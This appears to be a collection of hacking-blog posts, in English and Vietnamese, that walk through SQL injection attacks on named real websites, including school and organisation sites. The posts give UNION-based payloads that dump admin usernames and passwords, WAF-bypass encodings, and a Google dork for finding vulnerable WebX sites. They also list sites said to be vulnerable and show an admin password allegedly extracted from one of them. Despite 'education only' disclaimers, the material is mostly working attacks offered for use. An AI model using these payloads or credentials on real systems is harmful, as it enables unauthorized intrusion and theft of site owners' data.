style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,unhex%28hex%28table_name%29%29,7,8,9,10,11,12,13,14,15,16,17%E2%80%8B,18,19,20,21,22,23,24,25" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...2,23,24,25</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+from+information_schema/**/.tables+where+table_schema=database()+limit+1,200)--+- ### ( show "Contact" ) ### ok leave it . already have the name ... is admin u see it before ...</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">ok now columns</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">############# now the columns ############</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">add: +union+select+1,unhex(hex(column_name)) +from+information_schema/**/.columns+where+table_schema=database()+LIMIT+0,200--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">example:</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,unhex%28hex%28column_name%29%29,7,8,9,10,11,12,13,14,15,16,1%E2%80%8B7,18,19,20,21,22,23,24,25" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...2,23,24,25</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+from+information_schema/**/.columns+where+table_schema=database()+limit+0,200)--+- ### ( show "Id" ) ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">but we need user and pass.let's go to search it only change +LIMIT+0,200--+- TO +LIMIT+1,200--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">and +LIMIT+2,200--+- and +LIMIT+3,200--+- etc....</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">########## this show username or admin user #################</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,unhex%28hex%28column_name%29%29,7,8,9,10,11,12,13,14,15,16,1%E2%80%8B7,18,19,20,21,22,23,24,25" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...2,23,24,25</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+from+information_schema/**/.columns+where+table_schema=database()+limit+1,200)--+- ###( show "Username" )### </span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">done here the username but continue searching for the pass .....change it for 2 and 3 etc ...</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">########### this show password #################</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,unhex%28hex%28column_name%29%29,7,8,9,10,11,12,13,14,15,16,1%E2%80%8B7,18,19,20,21,22,23,24,25" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...2,23,24,25</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+from+information_schema/**/.columns+where+table_schema=database()+limit+2,200)--+- ###( show "Password" )### </span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">well username and password by admin</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+++++++++++++++++</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">now dump dates ...</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">add: unhex(hex(username)) and +from+admin)--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,unhex%28hex%28username%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...2,23,24,25</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+from+admin)--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">###( show "admin" ) = username = admin) ###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">now column "password"</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">example: unhex(hex(password)),3,4,5,6, and +from+admin--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><a href="http://ibms.co/about.php?pid=-34%27+union+%28select+1,2,3,4,5,unhex%28hex%28password%29%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25" style="background-color: #1b1b1d; color: #333333; font-family: 'comic sans ms'; font-size: small; line-height: 22.399999618530273px; text-decoration: none; text-shadow: white 0px 0px 0.3em, lime 0px 0px 0.3em;" target="_blank">http://ibms.co/about.php?pid=-34'+union+...2,23,24,25</a><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">+from+admin)--+-</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">###( show "Ibmsanusha" ) = password = Ibmsanusha )###</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Done..Enjoy testing others Websites.</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">REMEMBER</span><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><br style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;" /><span style="background-color: #1b1b1d; color: #fffa51; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;">Please no modific nothing in this website ..only i share it for education only check what u are in and get out .... THANKS</span>

SQL UNHEX --- 403 --- LIMIT.

SQL UNHEX --- 403 --- LIMIT. Please no modific nothing in this website ..only i share it for education only check what u are in and get out ...

Auto Khai Thác SQL Injection (Update)

Auto Khai Thác SQL Injection (Update)

Sql injection :Bypass 406 + Illegal Operation +chặn () By DTA +NBT+ThangNguyen

Tut Bypass 406 + Illegal Operation +chặn () cho ae xem <br />
Victim : <a href="http://thpthiephoa1.edu.vn/index.php?catid=1&do=categories&f=tailieu" target="_blank">http://thpthiephoa1.edu.vn/index.php...ries&f=tailieu</a><br />
Bây h chúng ta bắt đầu <br />
------------Check order nhé <br />
+) <a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> order by 1-- -&do=categories&f=tailieu ==>Ok<br />
+)<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> order by 2-- -&do=categories&f=tailieu ==>OK<br />
+)<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> order by 3-- -&do=categories&f=tailieu ==>lỗi rồi <br />
-----------Get order lỗi :<br />
+)<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> UNION SELECT 1,2-- -&do=categories&f=tailieu ===>406<br />
+)<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> /*!UNION*/ /*!SELECT*/ 1,2-- -&do=categories&f=tailieu ===> Illegal Operation <br />
----------Bypasss Illegal Operation :<br />
Chúng ta sẽ encode 1 kí tự trong /*!.../ =%2F*!....%2F<br />
H chúng ta chạy query :<br />
+)<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> %2F*!UNION*%2F %2F*!SELECT*%2F 1,2-- -&do=categories&f=tailieu ==> số 2 <img alt="" border="0" class="inlineimg" src="http://l-v-h.net/@forum/images/smilies/yahoo/21.gif" title="laughing" /><br />
-------------Bỏ qua bước Get Ver em get luôn Table .<br />
+)<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> %2F*!UNION*%2F %2F*!SELECT*%2F 1,table_name from information_schema.tables&do=categories&f=tailieu <br />
Khi chạy query xh rất nhiều table theo hàng dọc nên mình khó Coppy cả vào <img alt="" border="0" class="inlineimg" src="http://l-v-h.net/@forum/images/smilies/yahoo/21.gif" title="laughing" /><br />
-------------------Get column ------- tbl : adoosite_admin<br />
<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a>
 %2F*!UNION*%2F %2F*!SELECT*%2F 1,%2F*!column_name*%2F from 
information_schema.columns where 
%2F*!table_name*%2F=0x61646F6F736974655F61646D696E  
&do=categories&f=tailieu<br />
====> email ,pwd <br />
------------------Get data------- column :pwd<br />
+)<a href="http://thpthiephoa1.edu.vn/index.php?catid=1" target="_blank">http://thpthiephoa1.edu.vn/index.php?catid=1</a> %2F*!UNION*%2F %2F*!SELECT*%2F 1,%2F*!pwd*%2F from adoosite_admin-- -&do=categories&f=tailieu<br />
Ps : Chúc anh em may mắn !Tut nếu sơ xài anh em thông cảm<br />
END TUT BY NBT-DTA-THANGNGUYEN

Sql injection :Bypass 406 + Illegal Operation +chặn () By DTA +NBT+ThangNguyen

Tut Bypass 406 + Illegal Operation +chặn () cho ae xem Victim : http://thpthiephoa1.edu.vn/index.php...ries&f=tailieu Bây h chúng ta ...

[Bug] WebX (showsubpage.asp) SQLI

<div class="MsoNormal" style="color: lime; font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 1. Google dork:  <span style="font-size: 10pt;"> </span></div>
<blockquote class="tr_bq">
 <div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 <span style="font-size: 10pt;">inurl:"showsubpage.asp" "Powered By: WebX" </span></div>
</blockquote>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 <span style="font-size: 10pt;"><span style="color: lime;">2. Khai thác </span></span></div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 </div>
<div class="MsoNormal" style="color: black; font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 <b><span style="font-size: 10pt;">-</span></b><span style="color: white; font-size: 10pt;">  Thêm Query </span></div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif; line-height: normal; margin-bottom: 0.0001pt;">
 <span style="font-size: 10pt;"><br /></span></div>
<blockquote class="tr_bq">
 <pre style="font-family: Arial,Helvetica,sans-serif;">null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</pre>
</blockquote>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"><b><span style="font-size: 10pt;">  vào sau  </span></b>http://www.victim.com/showsubpage.asp?subid=</pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;">- Nếu site dính bug này, nó sẽ hiện thi thông tin username và password được mã hóa MD5 của admin</pre>
<pre style="font-family: Arial,Helvetica,sans-serif;">Ví dụ: </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"><a href="http://www.erdf.edu.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.erdf.edu.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a></pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<div class="separator" style="clear: both; text-align: center;">
 <a href="http://nm4.upanh.com/b4.s28.d3/1ab99a472d3444533f2b56aea8d2dfcc_45486854.vhb.png" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<div class="separator" style="clear: both; text-align: center;">
 <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN-2zloZdzdlahgw498Ze-ooL2xWUJCwKL2iJhyphenhyphenUWqxrRvqeue9Z6mOoUX2QxLxaIkJmc67HVhdj8Flq5zBRK8x3QV4mtfXWuclIUWYSyQ5aWKDTA-On2kfgWuOjsT2cBvKeVhvWXvcS6t/s1600/vhb.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN-2zloZdzdlahgw498Ze-ooL2xWUJCwKL2iJhyphenhyphenUWqxrRvqeue9Z6mOoUX2QxLxaIkJmc67HVhdj8Flq5zBRK8x3QV4mtfXWuclIUWYSyQ5aWKDTA-On2kfgWuOjsT2cBvKeVhvWXvcS6t/s640/vhb.png" width="640" /></a></div>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;">-  Để giải mã pass bị mã hóa md5 đó, bạn có thể vứt đoạn mã đó lên google</pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"><a href="http://nh0xga951.blogspot.com/search?updated-max=2012-06-29T22:53:00%2B07:00&max-results=7" name="more"></a> </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<pre style="color: lime; font-family: Arial,Helvetica,sans-serif;">3-  Login</pre>
<pre style="color: lime; font-family: Arial,Helvetica,sans-serif;"> </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;">Login vào quyền admin với path mặc định:  http://www.victim.com/admin</pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"><a href="http://www.erdf.edu.in/admin/l">http://www.erdf.edu.in/admin/</a></pre>
<pre style="color: lime; font-family: Arial,Helvetica,sans-serif;">* List một số site dính bug này:</pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<pre style="font-family: Arial,Helvetica,sans-serif;"> </pre>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.rangdhalee.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.rangdhalee.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.rangdhalee.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.rangdhalee.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://olashillong.org/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://olashillong.org/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
